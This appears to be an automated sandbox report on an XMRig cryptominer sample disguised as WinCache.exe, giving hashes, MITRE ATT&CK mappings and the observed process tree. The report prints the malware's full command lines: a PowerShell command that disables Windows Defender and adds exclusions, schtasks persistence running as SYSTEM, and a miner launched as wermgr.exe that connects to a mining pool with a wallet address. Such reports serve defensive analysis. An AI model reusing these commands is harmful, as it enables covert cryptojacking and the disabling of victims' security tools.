xmrig | 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792

Analysis

max time kernel
900s
max time network
538s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
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19/08/2026, 12:10

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General

Target
WinCache.exe
Size 10.7MB
Sample260819-pcdstaap4v
SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
MD5 77c1b815008321c67568b4390dd1432e
SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
TLSH
T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence trojan

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WinCache.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinCache.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinCache.exe

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/6028-30-0x0000000140000000-0x000000014090D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5416	powershell.exe
5436	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2664	WinCache.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2664 set thread context of 6028	2664	WinCache.exe	105
PID 2664 set thread context of 5276	2664	WinCache.exe	106
PID 2664 set thread context of 3208	2664	WinCache.exe	107
PID 5048 set thread context of 4884	5048	WinCache.exe	108
PID 5048 set thread context of 4092	5048	WinCache.exe	109
PID 5048 set thread context of 4568	5048	WinCache.exe	110

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3628	schtasks.exe
4124	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5416	powershell.exe
5416	powershell.exe
5416	powershell.exe
5436	powershell.exe
5436	powershell.exe
5436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	5436	powershell.exe
Token: SeIncreaseQuotaPrivilege	5416	powershell.exe
Token: SeSecurityPrivilege	5416	powershell.exe
Token: SeTakeOwnershipPrivilege	5416	powershell.exe
Token: SeLoadDriverPrivilege	5416	powershell.exe
Token: SeSystemProfilePrivilege	5416	powershell.exe
Token: SeSystemtimePrivilege	5416	powershell.exe
Token: SeProfSingleProcessPrivilege	5416	powershell.exe
Token: SeIncBasePriorityPrivilege	5416	powershell.exe
Token: SeCreatePagefilePrivilege	5416	powershell.exe
Token: SeBackupPrivilege	5416	powershell.exe
Token: SeRestorePrivilege	5416	powershell.exe
Token: SeShutdownPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeSystemEnvironmentPrivilege	5416	powershell.exe
Token: SeRemoteShutdownPrivilege	5416	powershell.exe
Token: SeUndockPrivilege	5416	powershell.exe
Token: SeManageVolumePrivilege	5416	powershell.exe
Token: 33	5416	powershell.exe
Token: 34	5416	powershell.exe
Token: 35	5416	powershell.exe
Token: 36	5416	powershell.exe
Token: SeIncreaseQuotaPrivilege	5416	powershell.exe
Token: SeSecurityPrivilege	5416	powershell.exe
Token: SeTakeOwnershipPrivilege	5416	powershell.exe
Token: SeLoadDriverPrivilege	5416	powershell.exe
Token: SeSystemProfilePrivilege	5416	powershell.exe
Token: SeSystemtimePrivilege	5416	powershell.exe
Token: SeProfSingleProcessPrivilege	5416	powershell.exe
Token: SeIncBasePriorityPrivilege	5416	powershell.exe
Token: SeCreatePagefilePrivilege	5416	powershell.exe
Token: SeBackupPrivilege	5416	powershell.exe
Token: SeRestorePrivilege	5416	powershell.exe
Token: SeShutdownPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeSystemEnvironmentPrivilege	5416	powershell.exe
Token: SeRemoteShutdownPrivilege	5416	powershell.exe
Token: SeUndockPrivilege	5416	powershell.exe
Token: SeManageVolumePrivilege	5416	powershell.exe
Token: 33	5416	powershell.exe
Token: 34	5416	powershell.exe
Token: 35	5416	powershell.exe
Token: 36	5416	powershell.exe
Token: SeIncreaseQuotaPrivilege	5416	powershell.exe
Token: SeSecurityPrivilege	5416	powershell.exe
Token: SeTakeOwnershipPrivilege	5416	powershell.exe
Token: SeLoadDriverPrivilege	5416	powershell.exe
Token: SeSystemProfilePrivilege	5416	powershell.exe
Token: SeSystemtimePrivilege	5416	powershell.exe
Token: SeProfSingleProcessPrivilege	5416	powershell.exe
Token: SeIncBasePriorityPrivilege	5416	powershell.exe
Token: SeCreatePagefilePrivilege	5416	powershell.exe
Token: SeBackupPrivilege	5416	powershell.exe
Token: SeRestorePrivilege	5416	powershell.exe
Token: SeShutdownPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeSystemEnvironmentPrivilege	5416	powershell.exe
Token: SeRemoteShutdownPrivilege	5416	powershell.exe
Token: SeUndockPrivilege	5416	powershell.exe
Token: SeManageVolumePrivilege	5416	powershell.exe
Token: 33	5416	powershell.exe
Token: 34	5416	powershell.exe
Token: 35	5416	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5048 wrote to memory of 1772	5048	WinCache.exe	90
PID 5048 wrote to memory of 3628	5048	WinCache.exe	93
PID 5048 wrote to memory of 5416	5048	WinCache.exe	95
PID 2664 wrote to memory of 4592	2664	WinCache.exe	98
PID 2664 wrote to memory of 4124	2664	WinCache.exe	100
PID 2664 wrote to memory of 5436	2664	WinCache.exe	102
PID 2664 wrote to memory of 6028	2664	WinCache.exe	105
PID 2664 wrote to memory of 6028	2664	WinCache.exe	105
PID 2664 wrote to memory of 5276	2664	WinCache.exe	106
PID 2664 wrote to memory of 5276	2664	WinCache.exe	106
PID 2664 wrote to memory of 3208	2664	WinCache.exe	107
PID 2664 wrote to memory of 3208	2664	WinCache.exe	107
PID 5048 wrote to memory of 4884	5048	WinCache.exe	108
PID 5048 wrote to memory of 4884	5048	WinCache.exe	108
PID 5048 wrote to memory of 4092	5048	WinCache.exe	109
PID 5048 wrote to memory of 4092	5048	WinCache.exe	109
PID 5048 wrote to memory of 4568	5048	WinCache.exe	110
PID 5048 wrote to memory of 4568	5048	WinCache.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WinCache.exe
"C:\Users\Admin\AppData\Local\Temp\WinCache.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5048
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Delete /TN "ShizoWorker" /F
  2⤵
  PID:1772
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5416
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
  2⤵
  PID:4884
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 4884 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
  2⤵
  PID:4092
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 4884 4092
  2⤵
  PID:4568

C:\ProgramData\WinCache\WinCache.exe
"C:\ProgramData\WinCache\WinCache.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Delete /TN "ShizoWorker" /F
  2⤵
  PID:4592
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5436
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
  2⤵
  PID:6028
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 6028 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
  2⤵
  PID:5276
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 6028 5276
  2⤵
  PID:3208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5876

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:1152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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WinCache.exe

Path C:\ProgramData\WinCache\WinCache.exe
Size 10.7MB
SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
MD5 77c1b815008321c67568b4390dd1432e
SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
TLSH
T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_5o1bnym0.jjy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5o1bnym0.jjy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2664-81-0x00007FF608280000-0x00007FF608CF2000-memory.dmp

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memory/3208-61-0x0000000140000000-0x0000000140065000-memory.dmp

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memory/5048-133-0x00007FF7E9130000-0x00007FF7E9BA2000-memory.dmp

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memory/5276-42-0x0000000140000000-0x000000014006D000-memory.dmp

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memory/5416-16-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-9-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-13-0x000002172F600000-0x000002172F61E000-memory.dmp

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memory/5416-14-0x000002172F8B0000-0x000002172F962000-memory.dmp

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memory/5416-15-0x000002172F5F0000-0x000002172F5FA000-memory.dmp

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memory/5416-0-0x00007FF9C3B7F000-0x00007FF9C3B80000-memory.dmp

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memory/5416-17-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-18-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-19-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-10-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-20-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-23-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-7-0x000002172F430000-0x000002172F452000-memory.dmp

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memory/5416-29-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-1-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-8-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-4-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/5416-3-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

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memory/6028-30-0x0000000140000000-0x000000014090D000-memory.dmp

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